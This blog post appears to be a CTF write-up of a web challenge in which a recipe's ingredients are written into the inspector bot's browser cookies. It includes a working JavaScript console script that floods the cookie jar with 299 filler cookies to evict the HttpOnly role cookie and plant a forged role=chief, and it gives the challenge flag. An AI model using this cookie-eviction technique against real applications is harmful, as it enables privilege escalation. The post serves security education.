Skip to main content

Command Palette

Search for a command to run...

CTF Writeup: CookieCorp | Web | SunshineCTF 2026

Updated
•5 min read•View as Markdown

Description

"A Better Cookie for a Brighter Tomorrow!"

Welcome to CookieCorp, the Space Age's finest custom-cookie fabrication service. Design a batch from any ingredients you can dream up, then submit it to our tireless robotic Quality Inspector. Every recipe is loaded straight into the fabrication mixer for a full inspection.

Get your batch reviewed and you'll earn an official seal. But the truly legendary bakers — the ones whose recipes earn the Chief's Golden Seal — take home the grand prize.

Only the Chief can award that seal, though. And the Chief is a very busy robot.

Grab a Baker Badge and get fabricating.

https://tomorrow.web.2026.sunshinectf.games


Overview

CookieCorp is a "submit a recipe, get it inspected" web challenge, but the real target isn't the recipe system — it's the browser's own cookie jar. The Quality Inspector bot opens a recipe page in its browser, and a public script on that page quietly writes every ingredient in your recipe as a literal browser cookie before asking the server to seal it. Stuff that recipe with enough junk ingredients and you can push the bot's session right out of its own cookie storage, then slide a forged role=chief cookie in behind it. No server-side bug required — just patience and a browser limit.


Solution

The first stop was /static/js/mixer.js, the script that actually runs on the recipe page the inspector visits. The relevant bit:

document.cookie = ing.name + '=' + (ing.value || '') + '; path=/';
...
fetch('/api/seal', {
  method: 'POST',
  credentials: 'same-origin',
  body: JSON.stringify({ recipeId: recipe.id })
});

So every ingredient in a recipe gets written to document.cookie, one at a time, and then /api/seal fires using whatever cookies are sitting in the jar at that moment. The inspector's authorization comes from a role cookie, and it's set HttpOnly at registration — so I can't just overwrite it with JavaScript directly.

But browsers cap how many cookies a single origin can hold. That cap is the whole trick: if I fill the jar with enough distinct filler cookies, the browser has to start evicting the oldest ones to make room — including the inspector's original role cookie. As long as my forged role=chief ingredient is the last one written, it lands in the jar right before the seal request fires, and the server has no way to tell it apart from a legitimate cookie.

To pull this off:

  1. Registered a throwaway Baker Badge, which dropped me on /dashboard.

  2. Opened /builder and used the Console to build the 300-ingredient recipe (299 uniquely-named filler ingredients, then role=chief as the final entry), save it to /api/recipe, and submit it for inspection — all in one async IIFE, since the Console rejected a bare top-level await:

    (async () => {
      // 1. Create ingredients
      const ingredients = Array.from({ length: 299 }, (_, i) => ({
        name: `fill${String(i).padStart(3, '0')}`,
        value: 'x'
      }));
      ingredients.push({ name: 'role', value: 'chief' });
    
      // 2. Save the recipe
      const saveResponse = await fetch('/api/recipe', {
        method: 'POST',
        headers: { 'content-type': 'application/json' },
        body: JSON.stringify({ title: 'Golden batch', ingredients })
      });
      const saved = await saveResponse.json(); // <-- Creates 'saved'
    
      // 3. Submit the recipe (must be inside the block to access 'saved')
      const submitResponse = await fetch(`/api/recipe/${saved.id}/submit`, {
        method: 'POST'
      });
    
      if (submitResponse.ok) {
        console.log('Recipe submitted successfully!');
      }
    })();
    

The uniqueness of the filler names mattered — duplicate names just overwrite the same cookie instead of consuming jar space, which won't evict anything.

  1. Opened /recipe/<batch id> (mine was eae722c427201638e01c4462) and waited for the status to flip from queued to reviewed. When the inspector's browser loaded that page, mixer.js wrote all 300 cookies in order, evicted the real role cookie somewhere in the middle of the flood, and the trailing role=chief ingredient was the one still sitting in the jar when /api/seal fired.

The page came back reviewed, flagged GOLDEN SEAL, and handed over the flag.


Flag

sun{c00kie_jar_0verfl0w_ev1cts_the_chief}


Key Takeaways

  • Client-side cookie writes are only as trustworthy as the browser's cookie jar limits allow — a HttpOnly cookie can still be displaced indirectly if an attacker can flood the jar and control what gets written last.

  • Ordering matters as much as content: the forged cookie had to be the final ingredient written, so it would still be present (and the legitimate one already evicted) at the moment the seal request fired.

  • Treat any endpoint that lets a user supply arbitrary "data" rendered into another user's (or bot's) browser session as a potential cookie-injection vector, even when it looks like harmless application data.


Tools Used

Tool Purpose
Browser DevTools Console for scripting the recipe submission and inspecting mixer.js
fetch for direct API calls to /api/recipe and /api/recipe/:id/submit

More from this blog

The Flag Vault

72 posts